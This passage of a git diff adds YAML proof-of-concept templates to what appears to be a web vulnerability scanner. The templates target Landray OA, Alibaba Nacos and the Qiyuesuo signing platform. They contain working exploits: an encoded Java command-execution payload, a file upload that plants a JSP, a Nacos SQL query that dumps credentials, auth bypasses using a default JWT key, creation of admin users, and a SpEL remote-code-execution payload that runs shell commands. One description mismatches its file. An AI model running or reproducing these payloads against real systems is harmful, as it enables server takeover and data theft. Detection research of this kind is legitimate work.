0067\u0065\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0079\u0028\u0022\u006f\u0073\u002e\u006e\u0061\u006d\u0065\u0022\u0029\u002e\u0074\u006f\u004c\u006f\u0077\u0065\u0072\u0043\u0061\u0073\u0065\u0028\u0029\u002e\u0063\u006f\u006e\u0074\u0061\u0069\u006e\u0073\u0028\u0022\u0077\u0069\u006e\u0064\u006f\u0077\u0022\u0029\u0020\u003f\u0020\u0022\u0047\u0042\u004b\u0022\u003a\u0022\u0055\u0054\u0046\u002d\u0038\u0022\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0074\u0065\u0078\u0074\u0032\u0020\u003d\u0028\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0053\u0063\u0061\u006e\u006e\u0065\u0072\u0028\u0028\u006e\u0065\u0077\u0020\u0050\u0072\u006f\u0063\u0065\u0073\u0073\u0042\u0075\u0069\u006c\u0064\u0065\u0072\u0028\u0063\u006d\u0064\u0073\u0029\u0029\u002e\u0073\u0074\u0061\u0072\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0049\u006e\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u002c\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u0029\u002e\u0075\u0073\u0065\u0044\u0065\u006c\u0069\u006d\u0069\u0074\u0065\u0072\u0028\u0022\u005c\u005c\u0041\u0022\u0029\u002e\u006e\u0065\u0078\u0074\u0028\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0072\u0065\u0073\u0075\u006c\u0074\u003d\u0028\u0022\u0045\u0078\u0065\u0063\u0075\u0074\u0065\u003a\u0020\u0020\u0020\u0020\u0022\u002b\u006e\u0065\u0077\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0074\u0065\u0078\u0074\u0032\u002c\u0022\u0075\u0074\u0066\u002d\u0038\u0022\u0029\u0029\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0063\u0068\u0061\u0072\u0073\u0065\u0074\u004e\u0061\u006d\u0065\u0029\u003b\u0074\u0072\u0079\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0074\u006f\u006d\u0063\u0061\u0074\u002e\u0075\u0074\u0069\u006c\u002e\u0062\u0075\u0066\u002e\u0042\u0079\u0074\u0065\u0043\u0068\u0075\u006e\u006b\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0073\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u002c\u0020\u0069\u006e\u0074\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u006f\u0062\u006a\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0030\u0029\u002c\u0020\u006e\u0065\u0077\u0020\u0049\u006e\u0074\u0065\u0067\u0065\u0072\u0028\u0072\u0065\u0073\u0075\u006c\u0074\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u004e\u006f\u0053\u0075\u0063\u0068\u004d\u0065\u0074\u0068\u006f\u0064\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0076\u0061\u0072\u0035\u0029\u0020\u007b\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0063\u006c\u0073\u0020\u003d\u0020\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028\u0022\u006a\u0061\u0076\u0061\u002e\u006e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0042\u0075\u0066\u0066\u0065\u0072\u0022\u0029\u003b\u006f\u0062\u006a\u0020\u003d\u0020\u0063\u006c\u0073\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006c\u0061\u0072\u0065\u0064\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0077\u0072\u0061\u0070\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u002e\u0063\u006c\u0061\u0073\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0063\u006c\u0073\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u0072\u0065\u0073\u0075\u006c\u0074\u007d\u0029\u003b\u0072\u0065\u0073\u0070\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0022\u0064\u006f\u0057\u0072\u0069\u0074\u0065\u0022\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u007b\u0063\u006c\u0073\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0072\u0065\u0073\u0070\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u007b\u006f\u0062\u006a\u007d\u0029\u003b\u0020\u007d\u0066\u006c\u0061\u0067\u0020\u003d\u0020\u0074\u0072\u0075\u0065\u003b\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0069\u0066\u0020\u0028\u0066\u006c\u0061\u0067\u0029\u0020\u007b\u0020\u0062\u0072\u0065\u0061\u006b\u003b\u0020\u007d\u0020\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0020\u0063\u006f\u006e\u0074\u0069\u006e\u0075\u0065\u003b\u0020\u007d\u0020\u007d + + expression: response.status == 200 && response.body.bcontains(b"catalina.sh") && response.body.bcontains(b"digest.sh") && response.body.bcontains(b"Landray.log") && response.body.bcontains(b"") +expression: r0() diff --git a/webscan/pocs/landray-oa-sysuicomponent-fileupload.yaml b/webscan/pocs/landray-oa-sysuicomponent-fileupload.yaml new file mode 100644 index 0000000..607cbb7 --- /dev/null +++ b/webscan/pocs/landray-oa-sysuicomponent-fileupload.yaml @@ -0,0 +1,52 @@ +id: landray-oa-sysuicomponent-fileupload + +info: + name: 蓝凌 OA 子部件文件上传 + author: Pking + severity: critical + verified: true + description: |- + 介绍:该系统 sysUiComponent 文件存在任意文件上传漏洞，通过此漏洞攻击者可上传webshell木马，远程控制服务器，威胁企业数据安全。 + fofa: app="Landray-OA系统" + zoomeye: app:"蓝凌数字OA" + reference: + - https://mp.weixin.qq.com/s/xhwmFuItG8ZoiuGrwR5bnw + tags: landray,fileupload + created: 2023/11/16 + +set: + baseurl: request.url + randstr: randomLowercase(12) + rboundary: randomInt(800000000, 1000000000) + cookie: randomLowercase(48) + payload: base64Decode("UEsDBBQAAAAIAEVrcFcd+E8oKAAAACYAAAAIAAAAdGVzdC5qc3CzUVXILy3RKyjKzCvJydNQ8iotLkl0TCwOCE4zNDIyNlLStFZQtQMAUEsDBBQAAAAIAGlrcFdRNnIYHAAAABoAAAANAAAAY29tcG9uZW50LmluactMsTUyMLQ0Mrbg5cpLzE21Tc5ITc7WK6koAQBQSwECHwAUAAAACABFa3BXHfhPKCgAAAAmAAAACAAkAAAAAAAAACAAAAAAAAAAdGVzdC5qc3AKACAAAAAAAAEAGAB3R8xoTRjaAXdHzGhNGNoBRiZA9UIY2gFQSwECHwAUAAAACABpa3BXUTZyGBwAAAAaAAAADQAkAAAAAAAAACAAAABOAAAAY29tcG9uZW50LmluaQoAIAAAAAAAAQAYACmZwpFNGNoBKZnCkU0Y2gF5vhgvSxjaAVBLBQYAAAAAAgACALkAAACVAAAAAAA=") +rules: + r0: + request: + method: GET + path: /sys/ui/sys_ui_component/sysUiComponent.do?method=upload + expression: response.status == 200 && response.body.bcontains(b"请上传正确的部件包文件") && response.body.bcontains(b"附件上传中") && response.body.bcontains(b"请上传正确的部件包文件") + r1: + request: + method: POST + path: /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo + headers: + Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}} + body: "\ + ------WebKitFormBoundary{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"file\"; filename=\"{{randstr}}.zip\"\r\n\ + Content-Type: application/x-zip-compressed\r\n\ + \r\n\ + {{payload}}\r\n\ + ------WebKitFormBoundary{{rboundary}}--\r\n + " + expression: response.status == 200 && response.body.bcontains(b"directoryPath") && response.body.bcontains(b"status") + output: + search: '"\"directoryPath\":\"(?P.+?)\",".bsubmatch(response.body)' + pathName: search["pathName"] + r2: + request: + method: GET + path: /resource/ui-component/{{pathName}}/test.jsp + expression: response.status == 200 && response.body.bcontains(b"JustaAasPSf12232") +expression: r0() && r1() && r2() diff --git a/webscan/pocs/nacos-config-server-sql-inject.yaml b/webscan/pocs/nacos-config-server-sql-inject.yaml new file mode 100644 index 0000000..626f044 --- /dev/null +++ b/webscan/pocs/nacos-config-server-sql-inject.yaml @@ -0,0 +1,26 @@ +id: nacos-config-server-sql-inject +# + +info: + name: Naocos Config Server SQL injection + author: zan8in + severity: high + verified: true + description: |- + Nacos config server中有个接口，没有做任何的鉴权，即可执行sql语句，可以泄漏全部数据 + reference: + - https://mp.weixin.qq.com/s/NgWvrN6yW-MAy0Cch4_nAQ + tags: nacos,sqli + created: 2023/06/01 + +rules: + r0: + request: + method: GET + path: /nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20 + expression: | + response.status == 200 && + response.body.bcontains(b'"code":') && + response.body.bcontains(b'"USERNAME":') && + response.body.bcontains(b'"PASSWORD":') +expression: r0() diff --git a/webscan/pocs/nacos-core-auth-enabled-bypass.yaml b/webscan/pocs/nacos-core-auth-enabled-bypass.yaml new file mode 100644 index 0000000..27b1b23 --- /dev/null +++ b/webscan/pocs/nacos-core-auth-enabled-bypass.yaml @@ -0,0 +1,19 @@ +id: nacos-core-auth-enabled-bypass + +info: + name: Nacos core.auth.enabled 权限绕过 + author: yoyo + severity: critical + verified: true + description: |- + atlassian-bitbucket-代码注入-CVE-2022-36804 + tags: nacos,sqli + created: 2025/03/27 + +rules: + r0: + request: + method: GET + path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken= + expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json') +expression: r0() diff --git a/webscan/pocs/nacos-secret-default-key-unauth.yaml b/webscan/pocs/nacos-secret-default-key-unauth.yaml new file mode 100644 index 0000000..173eeee --- /dev/null +++ b/webscan/pocs/nacos-secret-default-key-unauth.yaml @@ -0,0 +1,21 @@ +id: nacos-secret-default-key-unauth + +info: + name: Alibaba Nacos secret.key默认密钥 未授权访问漏洞 + author: zan8in + severity: high + verified: true + description: |- + Alibaba Nacos 使用了固定的secret.key默认密钥，导致攻击者可以构造请求获取敏感信息，导致未授权访问漏洞 + Alibaba Nacos <= 2.2.0 + fofa: app="NACOS" + tags: nacos,unauth + created: 2024/07/20 + +rules: + r0: + request: + method: GET + path: /nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9 + expression: response.status == 200 && response.headers["content-type"].contains("application/json") && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') +expression: r0() diff --git a/webscan/pocs/nacos-severidentity-bypass.yaml b/webscan/pocs/nacos-severidentity-bypass.yaml new file mode 100644 index 0000000..8ca0947 --- /dev/null +++ b/webscan/pocs/nacos-severidentity-bypass.yaml @@ -0,0 +1,24 @@ +id: nacos-severidentity-bypass + +info: + name: Alibaba Nacos ServerIdentity 权限绕过 + author: zan8in + severity: high + verified: true + description: |- + Nacos 能让您从微服务平台建设的视角管理数据中心的所有服务及元数据，包括管理服务的描述、生命周期、服务的静态依赖分析、服务的健康状态、服务的流量管理、路由及安全策略。Nacos 平台在 Header 中添加 serverIdentity: security 能直接绕过身份验证查看用户列表 + {"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ","tokenTtl":18000,"globalAdmin":true} + reference: + - https://github.com/MrWQ/vulnerability-paper/blob/55e4dca8b537b93c6b90008af2f7eddd68271f2c/bugs/%E9%82%A3%E4%BA%9B%E5%B9%B4%E6%88%91%E4%BB%AC%E4%B8%80%E8%B5%B7%E8%BF%BD%E8%BF%87%E7%9A%84%20Nacos.md + tags: nacos,bypass + created: 2023/07/14 + +rules: + r0: + request: + method: GET + path: /nacos/v1/auth/users?pageNo=1&pageSize=9&search=accurate&accessToken= + headers: + serverIdentity: security + expression: response.status == 200 && response.body.bcontains(b'"username":') && response.body.bcontains(b'"password":') && response.headers["content-type"].contains('application/json') +expression: r0() diff --git a/webscan/pocs/nacos-token-create-user.yaml b/webscan/pocs/nacos-token-create-user.yaml new file mode 100644 index 0000000..2834636 --- /dev/null +++ b/webscan/pocs/nacos-token-create-user.yaml @@ -0,0 +1,33 @@ +id: nacos-token-create-user + +info: + name: Nacos 默认密钥创建用户 + author: zan8in + severity: critical + verified: true + description: |- + Nacos 默认密钥创建用户 + tags: nacos,rce + created: 2024/07/20 + +set: + token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ + randuser: randomLowercase(6) + randpass: randomLowercase(8) +rules: + r0: + request: + method: POST + path: /nacos/v1/auth/users + headers: + Authorization: Bearer {{token}} + body: username={{randuser}}&password={{randpass}} + expression: response.status == 200 && response.body.bcontains(b'"code":') && response.body.bcontains(b'"message":') && response.body.bcontains(b'"data":') && response.body.bcontains(b'create user ok!') + r1: + request: + method: DELETE + path: /nacos/v1/auth/users?username={{randuser}} + headers: + Authorization: Bearer {{token}} + expression: true +expression: r0() && r1() diff --git a/webscan/pocs/qiyuesuo-template-html-add-rce.yaml b/webscan/pocs/qiyuesuo-template-html-add-rce.yaml new file mode 100644 index 0000000..48902b2 --- /dev/null +++ b/webscan/pocs/qiyuesuo-template-html-add-rce.yaml @@ -0,0 +1,28 @@ +id: qiyuesuo-template-html-add-rce + +info: + name: 契约锁电子签章平台add远程代码执行漏洞 + author: avic123 + severity: critical + verified: true + description: |- + 契约锁电子签章平台edits远程代码执行漏洞 + fofa: app="契约锁-电子签署平台" + reference: + - https://1oecho.github.io/oYmYrVh51/ + - https://mp.weixin.qq.com/s/tgliOzcVjoy70yMYZG7MOg + tags: qiyuesuo,rce + created: 2025/6/13 + +rules: + r0: + request: + method: POST + path: /captcha/%2e%2e/template/html/add + headers: + Content-Type: application/json + X-State: whoami + body: | + {"file":"1","title":"2","params":[{"extensionParam":"{\"expression\":\"var a=new org.springframework.expression.spel.standard.SpelExpressionParser();var b='VCAob3JnLnNwcmluZ2ZyYW1ld29yay5jZ2xpYi5jb3JlLlJlZmxlY3RVdGlscykuZGVmaW5lQ2xhc3MoIlF5c1Rlc3QiLFQgKG9yZy5zcHJpbmdmcmFtZXdvcmsudXRpbC5CYXNlNjRVdGlscykuIGRlY29kZUZyb21TdHJpbmcoInl2NjZ2Z0FBQURJQktBb0FJUUNXQ0FDWENnQ1lBSmtLQUpnQW1nb0Ftd0NjQ0FDZENnQ2JBSjRIQUo4SUFLQUlBS0VJQUtJSUFLTUtBQjhBcEFvQXBRQ21DQUNuQ2dDWUFLZ0tBS1VBcVFjQWd3b0FtQUNxQ0FDckNnQXNBS3dLQUNFQXJRb0FId0NxQ0FDdUNnQWZBSzhLQUxBQXFnZ0FzUW9BTEFDeUNBQ3pDQUMwQndDMUNnQWZBTFlIQUxjS0FMZ0F1UWdBdWdjQXV3Z0F2QWdBdlFjQXZnb0FKd0MvQ2dBbkFNQUtBQ2NBd1FnQXdnY0F3d2dBeEFnQXhRa0F4Z0RIQ2dER0FNZ0lBTWtIQU1vSUFNc0lBTXdJQU0wS0FNNEF6d29BTEFEUUNBRFJDQURTQ0FEVENBRFVDQURWQndEV0NnRFhBTmdLQU5jQTJRb0EyZ0RiQ2dBOUFOd0lBTjBLQUQwQTNnb0FQUURmQndEZ0NnQkZBSllJQU9FS0FDd0E0Z29BUlFEakNBRGtDQURsQndEbUNnQk1BT2NJQU9nSEFPa0JBQVk4YVc1cGRENEJBQU1vS1ZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXhsQVFBU1RHOWpZV3hXWVhKcFlXSnNaVlJoWW14bEFRQUVkR2hwY3dFQUNVeFJlWE5VWlhOME93RUFDR1J2U1c1cVpXTjBBUUFVS0NsTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBVjJZWEl5T0FFQUlreHFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmpzQkFBVjJZWEl5TmdFQUdVeHFZWFpoTDJ4aGJtY3ZjbVZtYkdWamRDOUdhV1ZzWkRzQkFBVjJZWEl5TndFQUlVeHFZWFpoTDJ4aGJtY3ZUbTlUZFdOb1RXVjBhRzlrUlhoalpYQjBhVzl1T3dFQUJYWmhjak14QVFBRmRtRnlNeklCQUJKTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFBVjJZWEl6TXdFQUJYSmxjRzl1QVFBRGMzUnlBUUFTVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3QVFBRVkyMWtjd0VBRTF0TWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzQkFBbHlaWE4xYkhSVGRISUJBQVpsYm1OdlpHVUJBQVYyWVhJek1BRUFCWFpoY2pJNUFRQUJTUUVBQlhaaGNqSXhBUUFGZG1GeU1qSUJBQVYyWVhJeU13RUFCWFpoY2pJMEFRQUZkbUZ5TWpVQkFBVjJZWEkzT0FFQUZVeHFZWFpoTDNWMGFXd3ZRWEp5WVhsTWFYTjBPd0VBQlhaaGNqSXdBUUFGZG1GeU1Ua0JBQkpNYW1GMllTOXNZVzVuTDFSb2NtVmhaRHNCQUFWMllYSXhPQUVBQkhaaGNqZ0JBQVIyWVhJNUFRQVhUR3BoZG1FdmJHRnVaeTlEYkdGemMweHZZV1JsY2pzQkFBVjJZWEl4TUFFQUVVeHFZWFpoTDJ4aGJtY3ZRMnhoYzNNN0FRQUZkbUZ5TVRFQkFBVjJZWEl4TWdFQUJYWmhjakV6QVFBRmRtRnlNVFFCQUFWMllYSXhOUUVBQlhaaGNqRTJBUUFUVzB4cVlYWmhMMnhoYm1jdlZHaHlaV0ZrT3dFQUJYWmhjakUzQVFBQldnRUFGVXhxWVhaaEwyeGhibWN2UlhoalpYQjBhVzl1T3dFQUEyMXpad0VBRFZOMFlXTnJUV0Z3VkdGaWJHVUhBTU1IQU9vSEFPc0hBSjhIQUxVSEFPd0hBTGNIQUxzSEFMNEhBR2NIQU9ZQkFBcFRiM1Z5WTJWR2FXeGxBUUFNVVhselZHVnpkQzVxWVhaaERBQlFBRkVCQUFWemRHRnlkQWNBNmd3QTdRRHVEQUR2QVBBSEFPc01BUEVBOEFFQUhXOXlaeTVoY0dGamFHVXVZMjk1YjNSbExsSmxjWFZsYzNSSmJtWnZEQUR5QVBNQkFDQnFZWFpoTDJ4aGJtY3ZRMnhoYzNOT2IzUkdiM1Z1WkVWNFkyVndkR2x2YmdFQUVHcGhkbUV1YkdGdVp5NVVhSEpsWVdRQkFCVnFZWFpoTG14aGJtY3VWR2h5WldGa1IzSnZkWEFCQUNKdmNtY3VZWEJoWTJobExtTnZlVzkwWlM1U1pYRjFaWE4wUjNKdmRYQkpibVp2QVFBSGRHaHlaV0ZrY3d3QTlBRDFCd0RzREFEMkFQY0JBQVowWVhKblpYUU1BUGdBK1F3QStnRDdEQUQ4QUZnQkFBUm9kSFJ3REFEOUFQNE1BUDhCQUFFQUNVVnVaSEJ2YVc1MEpBd0JBUUVDQndFREFRQWFiM0puTG1Gd1lXTm9aUzUwYjIxallYUXVkWFJwYkM1dVpYUU1BUVFCQlFFQUJuUm9hWE1rTUFFQUNtZGxkRWhoYm1Sc1pYSUJBQTlxWVhaaEwyeGhibWN2UTJ4aGMzTU1BUVlCQndFQUVHcGhkbUV2YkdGdVp5OVBZbXBsWTNRSEFRZ01BUWtCQ2dFQUNXZGxkRWRzYjJKaGJBRUFIMnBoZG1FdmJHRnVaeTlPYjFOMVkyaE5aWFJvYjJSRmVHTmxjSFJwYjI0QkFBWm5iRzlpWVd3QkFBcHdjbTlqWlhOemIzSnpBUUFUYW1GMllTOTFkR2xzTDBGeWNtRjVUR2x6ZEF3QkN3RU1EQUVOQVE0TUFQb0JEd0VBRTJkbGRGZHZjbXRsY2xSb2NtVmhaRTVoYldVQkFCQnFZWFpoTDJ4aGJtY3ZVM1J5YVc1bkFRQURjbVZ4QVFBSFoyVjBUbTkwWlFjQkVBd0JFUUI4REFFU0FSTUJBQXRuWlhSU1pYTndiMjV6WlFFQUVsdE1hbUYyWVM5c1lXNW5MME5zWVhOek93RUFDV2RsZEVobFlXUmxjZ0VBQjFndFUzUmhkR1VCQUFkdmN5NXVZVzFsQndFVURBRVZBUllNQVJjQVdBRUFCbmRwYm1SdmR3RUFCMk50WkM1bGVHVUJBQUl2WXdFQUJ5OWlhVzR2YzJnQkFBSXRZd0VBRVdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5QndFWURBRVpBUm9NQVJzQkhBY0JIUXdCSGdFZkRBQlFBU0FCQUFKY1FRd0JJUUVpREFFakFGZ0JBQlp6ZFc0dmJXbHpZeTlDUVZORk5qUkZibU52WkdWeUFRQUZWVlJHTFRnTUFTUUJKUXdBYVFFbUFRQUpZV1JrU0dWaFpHVnlBUUFIYzNWalkyVnpjd0VBRTJwaGRtRXZiR0Z1Wnk5RmVHTmxjSFJwYjI0TUFTY0FVUUVBQldWeWNtOXlBUUFIVVhselZHVnpkQUVBRUdwaGRtRXZiR0Z1Wnk5VWFISmxZV1FCQUJWcVlYWmhMMnhoYm1jdlEyeGhjM05NYjJGa1pYSUJBQmRxWVhaaEwyeGhibWN2Y21WbWJHVmpkQzlHYVdWc1pBRUFEV04xY25KbGJuUlVhSEpsWVdRQkFCUW9LVXhxWVhaaEwyeGhibWN2VkdoeVpXRmtPd0VBRldkbGRFTnZiblJsZUhSRGJHRnpjMHh2WVdSbGNnRUFHU2dwVEdwaGRtRXZiR0Z1Wnk5RGJHRnpjMHh2WVdSbGNqc0JBQWxuWlhSUVlYSmxiblFCQUFsc2IyRmtRMnhoYzNNQkFDVW9UR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdLVXhxWVhaaEwyeGhibWN2UTJ4aGMzTTdBUUFRWjJWMFJHVmpiR0Z5WldSR2FXVnNaQUVBTFNoTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OXlaV1pzWldOMEwwWnBaV3hrT3dFQURYTmxkRUZqWTJWemMybGliR1VCQUFRb1dpbFdBUUFPWjJWMFZHaHlaV0ZrUjNKdmRYQUJBQmtvS1V4cVlYWmhMMnhoYm1jdlZHaHlaV0ZrUjNKdmRYQTdBUUFEWjJWMEFRQW1LRXhxWVhaaEwyeGhibWN2VDJKcVpXTjBPeWxNYW1GMllTOXNZVzVuTDA5aWFtVmpkRHNCQUFkblpYUk9ZVzFsQVFBSVkyOXVkR0ZwYm5NQkFCc29UR3BoZG1FdmJHRnVaeTlEYUdGeVUyVnhkV1Z1WTJVN0tWb0JBQWhuWlhSRGJHRnpjd0VBRXlncFRHcGhkbUV2YkdGdVp5OURiR0Z6Y3pzQkFBcG5aWFJRWVdOcllXZGxBUUFWS0NsTWFtRjJZUzlzWVc1bkwxQmhZMnRoWjJVN0FRQVJhbUYyWVM5c1lXNW5MMUJoWTJ0aFoyVUJBQVpsY1hWaGJITUJBQlVvVEdwaGRtRXZiR0Z1Wnk5UFltcGxZM1E3S1ZvQkFBbG5aWFJOWlhSb2IyUUJBRUFvVEdwaGRtRXZiR0Z1Wnk5VGRISnBibWM3VzB4cVlYWmhMMnhoYm1jdlEyeGhjM003S1V4cVlYWmhMMnhoYm1jdmNtVm1iR1ZqZEM5TlpYUm9iMlE3QVFBWWFtRjJZUzlzWVc1bkwzSmxabXhsWTNRdlRXVjBhRzlrQVFBR2FXNTJiMnRsQVFBNUtFeHFZWFpoTDJ4aGJtY3ZUMkpxWldOME8xdE1hbUYyWVM5c1lXNW5MMDlpYW1WamREc3BUR3BoZG1FdmJHRnVaeTlQWW1wbFkzUTdBUUFGWTJ4dmJtVUJBQlFvS1V4cVlYWmhMMnhoYm1jdlQySnFaV04wT3dFQUJITnBlbVVCQUFNb0tVa0JBQlVvU1NsTWFtRjJZUzlzWVc1bkwwOWlhbVZqZERzQkFCRnFZWFpoTDJ4aGJtY3ZTVzUwWldkbGNnRUFCRlJaVUVVQkFBZDJZV3gxWlU5bUFRQVdLRWtwVEdwaGRtRXZiR0Z1Wnk5SmJuUmxaMlZ5T3dFQUVHcGhkbUV2YkdGdVp5OVRlWE4wWlcwQkFBdG5aWFJRY205d1pYSjBlUUVBSmloTWFtRjJZUzlzWVc1bkwxTjBjbWx1WnpzcFRHcGhkbUV2YkdGdVp5OVRkSEpwYm1jN0FRQUxkRzlNYjNkbGNrTmhjMlVCQUJGcVlYWmhMMnhoYm1jdlVuVnVkR2x0WlFFQUNtZGxkRkoxYm5ScGJXVUJBQlVvS1V4cVlYWmhMMnhoYm1jdlVuVnVkR2x0WlRzQkFBUmxlR1ZqQVFBb0tGdE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BUR3BoZG1FdmJHRnVaeTlRY205alpYTnpPd0VBRVdwaGRtRXZiR0Z1Wnk5UWNtOWpaWE56QVFBT1oyVjBTVzV3ZFhSVGRISmxZVzBCQUJjb0tVeHFZWFpoTDJsdkwwbHVjSFYwVTNSeVpXRnRPd0VBR0NoTWFtRjJZUzlwYnk5SmJuQjFkRk4wY21WaGJUc3BWZ0VBREhWelpVUmxiR2x0YVhSbGNnRUFKeWhNYW1GMllTOXNZVzVuTDFOMGNtbHVaenNwVEdwaGRtRXZkWFJwYkM5VFkyRnVibVZ5T3dFQUJHNWxlSFFCQUFoblpYUkNlWFJsY3dFQUZpaE1hbUYyWVM5c1lXNW5MMU4wY21sdVp6c3BXMElCQUJZb1cwSXBUR3BoZG1FdmJHRnVaeTlUZEhKcGJtYzdBUUFQY0hKcGJuUlRkR0ZqYTFSeVlXTmxBQ0VBVHdBaEFBQUFBQUFDQUFFQVVBQlJBQUVBVWdBQUFDOEFBUUFCQUFBQUJTcTNBQUd4QUFBQUFnQlRBQUFBQmdBQkFBQUFDUUJVQUFBQURBQUJBQUFBQlFCVkFGWUFBQUFKQUZjQVdBQUJBRklBQUFjaUFBWUFJQUFBQXVrU0FrdTRBQU5NSzdZQUJMWUFCVTBzRWdhMkFBZFhwd0FKVGl1MkFBUk5MQklKdGdBSFRpd1NDcllBQnpvRUxCSUd0Z0FIT2dVc0VndTJBQWM2QmhrRUVneTJBQTA2QnhrSEJMWUFEaTBTRDdZQURUb0lHUWdFdGdBT0dRY3J0Z0FRdGdBUndBQVN3QUFTd0FBU3dBQ